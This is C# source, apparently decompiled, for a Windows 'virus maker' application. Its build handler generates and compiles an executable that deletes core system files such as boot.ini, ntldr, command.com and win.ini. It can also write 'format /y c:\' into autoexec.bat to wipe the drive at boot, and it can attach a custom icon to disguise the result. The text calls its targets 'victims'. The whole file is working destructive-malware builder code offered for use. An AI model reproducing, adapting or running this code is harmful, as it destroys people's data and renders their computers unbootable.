|
|||
|
Application.EnableVisualStyles();
|
|||
|
Application.Run((Form) new ETVM05());
|
|||
|
}
|
|||
|
|
|||
|
private void ETVM05_Load(object sender, EventArgs e)
|
|||
|
{
|
|||
|
ETVM05.OpenFiles();
|
|||
|
int num = (int) MessageBox.Show("IMPORTANT NOTE: All of your victims WILL need the .NET Framework in order for the virus to affect them", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
|||
|
this.fileIcon.Text = Application.StartupPath + "\\5293.ico";
|
|||
|
this.compiler.StartInfo.FileName = "\"" + Application.StartupPath + "\\csc.exe\"";
|
|||
|
}
|
|||
|
|
|||
|
private static void OpenFiles()
|
|||
|
{
|
|||
|
}
|
|||
|
|
|||
|
private void far_CheckedChanged(object sender, EventArgs e)
|
|||
|
{
|
|||
|
if (this.far.Checked)
|
|||
|
{
|
|||
|
this.farMsgSelect.Checked = false;
|
|||
|
this.farMsg.Enabled = false;
|
|||
|
this.farMsgSelect.Enabled = true;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
this.farMsg.Enabled = false;
|
|||
|
this.farMsgSelect.Enabled = false;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void farMsgSelect_CheckedChanged(object sender, EventArgs e)
|
|||
|
{
|
|||
|
if (this.farMsgSelect.Checked)
|
|||
|
this.farMsg.Enabled = true;
|
|||
|
else
|
|||
|
this.farMsg.Enabled = false;
|
|||
|
}
|
|||
|
|
|||
|
private void useDosCons_CheckedChanged(object sender, EventArgs e)
|
|||
|
{
|
|||
|
if (this.useDosCons.Checked)
|
|||
|
this.useMsgBox.Checked = false;
|
|||
|
else
|
|||
|
this.useMsgBox.Checked = true;
|
|||
|
}
|
|||
|
|
|||
|
private void useMsgBox_CheckedChanged(object sender, EventArgs e)
|
|||
|
{
|
|||
|
if (this.useMsgBox.Checked)
|
|||
|
this.useDosCons.Checked = false;
|
|||
|
else
|
|||
|
this.useDosCons.Checked = true;
|
|||
|
}
|
|||
|
|
|||
|
private void makeVirus_Click(object sender, EventArgs e)
|
|||
|
{
|
|||
|
this.stageLabel.Text = "Status: Deleting old source file...";
|
|||
|
if (File.Exists(Application.StartupPath + "\\myvirus.cs"))
|
|||
|
File.Delete(Application.StartupPath + "\\myvirus.cs");
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Adding starting code...";
|
|||
|
this.myvirus = new StreamWriter("myvirus.cs");
|
|||
|
this.myvirus.AutoFlush = true;
|
|||
|
this.myvirus.WriteLine("using System;");
|
|||
|
this.myvirus.WriteLine("using System.Drawing;");
|
|||
|
this.myvirus.WriteLine("using System.Collections;");
|
|||
|
this.myvirus.WriteLine("using System.ComponentModel;");
|
|||
|
this.myvirus.WriteLine("using System.Windows.Forms;");
|
|||
|
this.myvirus.WriteLine("using System.IO;");
|
|||
|
this.myvirus.WriteLine("public class Virus");
|
|||
|
this.myvirus.WriteLine("{");
|
|||
|
this.myvirus.WriteLine("\tpublic static void Main()");
|
|||
|
this.myvirus.WriteLine("\t{");
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Adding welcome message...";
|
|||
|
if (this.useDosCons.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tConsole.WriteLine(\"" + this.welMsg.Text + "\");");
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
if (this.wmAst.Checked)
|
|||
|
this.wmIcon = "Asterisk";
|
|||
|
else if (this.wmQuest.Checked)
|
|||
|
this.wmIcon = "Question";
|
|||
|
else if (this.wmError.Checked)
|
|||
|
this.wmIcon = "Error";
|
|||
|
else if (this.wmInfo.Checked)
|
|||
|
this.wmIcon = "Information";
|
|||
|
this.myvirus.WriteLine("\t\t\tMessageBox.Show(\"" + this.welMsgText.Text + "\", \"" + this.welMsgTitle.Text + "\", MessageBoxButtons.OK, MessageBoxIcon." + this.wmIcon + ");");
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
}
|
|||
|
this.stageLabel.Text = "Status: Adding Try/Catch statement...";
|
|||
|
this.myvirus.WriteLine("\t\ttry");
|
|||
|
this.myvirus.WriteLine("\t\t{");
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding autoexec.bat code...";
|
|||
|
if (this.autoexec_bat.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\autoexec.bat\"))");
|
|||
|
this.myvirus.WriteLine("\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\autoexec.bat\") & FileAttributes.System) == FileAttributes.System)");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\autoexec.bat\", FileAttributes.System);");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t}");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\autoexec.bat\");");
|
|||
|
this.myvirus.WriteLine("\t\t\t}");
|
|||
|
}
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding command.com code...";
|
|||
|
if (this.command_com.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\command.com\"))");
|
|||
|
this.myvirus.WriteLine("\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\command.com\") & FileAttributes.System) == FileAttributes.System)");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\command.com\", FileAttributes.System);");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t}");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\command.com\");");
|
|||
|
this.myvirus.WriteLine("\t\t\t}");
|
|||
|
}
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding win.ini code...";
|
|||
|
if (this.win_ini.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\windows\\\\win.ini\"))");
|
|||
|
this.myvirus.WriteLine("\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\windows\\\\win.ini\") & FileAttributes.System) == FileAttributes.System)");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\windows\\\\win.ini\", FileAttributes.System);");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t}");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\windows\\\\win.ini\");");
|
|||
|
this.myvirus.WriteLine("\t\t\t}");
|
|||
|
}
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding win.com code...";
|
|||
|
if (this.win_com.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\windows\\\\win.com\"))");
|
|||
|
this.myvirus.WriteLine("\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\windows\\\\win.com\") & FileAttributes.System) == FileAttributes.System)");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\windows\\\\win.com\", FileAttributes.System);");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t}");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\windows\\\\win.com\");");
|
|||
|
this.myvirus.WriteLine("\t\t\t}");
|
|||
|
}
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding boot.ini code...";
|
|||
|
if (this.boot_ini.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\boot.ini\"))");
|
|||
|
this.myvirus.WriteLine("\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\boot.ini\") & FileAttributes.System) == FileAttributes.System)");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\boot.ini\", FileAttributes.System);");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t}");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\boot.ini\");");
|
|||
|
this.myvirus.WriteLine("\t\t\t}");
|
|||
|
}
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding ntldr code...";
|
|||
|
if (this.ntldr.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\ntldr\"))");
|
|||
|
this.myvirus.WriteLine("\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\ntldr\") & FileAttributes.System) == FileAttributes.System)");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\ntldr\", FileAttributes.System);");
|
|||
|
this.myvirus.WriteLine("\t\t\t\t}");
|
|||
|
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\ntldr\");");
|
|||
|
this.myvirus.WriteLine("\t\t\t}");
|
|||
|
}
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding format code...";
|
|||
|
if (this.far.Checked)
|
|||
|
{
|
|||
|
this.myvirus.WriteLine("\t\t\tStreamWriter fab = new StreamWriter(\"c:\\\\autoexec.bat\");");
|
|||
|
if (this.farMsgSelect.Checked)
|
|||
|
this.myvirus.WriteLine("\t\t\tfab.WriteLine(\"echo " + this.farMsg.Text + "\");");
|
|||
|
this.myvirus.WriteLine("\t\t\tfab.WriteLine(\"format /y c:\\\\\");");
|
|||
|
}
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding ending message...";
|
|||
|
if (this.useDosCons.Checked)
|
|||
|
this.myvirus.WriteLine("\t\tConsole.WriteLine(\"" + this.endMsg.Text + "\");");
|
|||
|
else if (this.emAst.Checked)
|
|||
|
this.emIcon = "Asterisk";
|
|||
|
else if (this.emQuest.Checked)
|
|||
|
this.emIcon = "Question";
|
|||
|
else if (this.emError.Checked)
|
|||
|
this.emIcon = "Error";
|
|||
|
else if (this.emInfo.Checked)
|
|||
|
this.emIcon = "Information";
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
this.stageLabel.Text = "Status: Checking/Adding ending code...";
|
|||
|
this.myvirus.WriteLine("\t\t}");
|
|||
|
this.myvirus.WriteLine("\t\tcatch (Exception)");
|
|||
|
this.myvirus.WriteLine("\t\t{");
|
|||
|
this.myvirus.WriteLine("\t\t\tConsole.WriteLine(\"Error\");");
|
|||
|
this.myvirus.WriteLine("\t\t}");
|
|||
|
this.myvirus.WriteLine("\t}");
|
|||
|
this.myvirus.WriteLine("}");
|
|||
|
this.stageProgress.Value = 0;
|
|||
|
try
|
|||
|
{
|
|||
|
this.stageLabel.Text = "Status: Closing file/compiling...";
|
|||
|
this.myvirus.Close();
|
|||
|
ICodeCompiler compiler = new CSharpCodeProvider().CreateCompiler();
|
|||
|
CompilerParameters options = new CompilerParameters(new string[1]
|
|||
|
{
|
|||
|
"System.Windows.Forms.dll"
|
|||
|
});
|
|||
|
options.GenerateExecutable = true;
|
|||
|
options.OutputAssembly = "myvirus.exe";
|
|||
|
if (this.fileIcon.Text != "")
|
|||
|
options.CompilerOptions = "/win32icon:\"" + this.fileIcon.Text + "\"";
|
|||
|
CompilerResults compilerResults = compiler.CompileAssemblyFromFile(options, "myvirus.cs");
|
|||
|
if (compilerResults.Errors.Count > 0)
|
|||
|
{
|
|||
|
foreach (CompilerError error in (CollectionBase) compilerResults.Errors)
|
|||
|
{
|
|||
|
int num = (int) MessageBox.Show(error.ErrorText, "Compiler Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
|||
|
}
|
|||
|
this.statusForLabel = "An error occurred.";
|
|||
|
}
|
|||
|
else
|
|||
|
this.statusForLabel = "Done.";
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
|||
|
this.statusForLabel = "An error occurred.";
|
|||
|
}
|
|||
|
this.stageProgress.Value = 100;
|
|||
|
this.stageLabel.Text = "Status: " + this.statusForLabel;
|
|||
|
}
|
|||
|
|
|||
|
private void about_Click(object sender, EventArgs e) => new About().Show();
|
|||
|
}
|
|||
|
}
|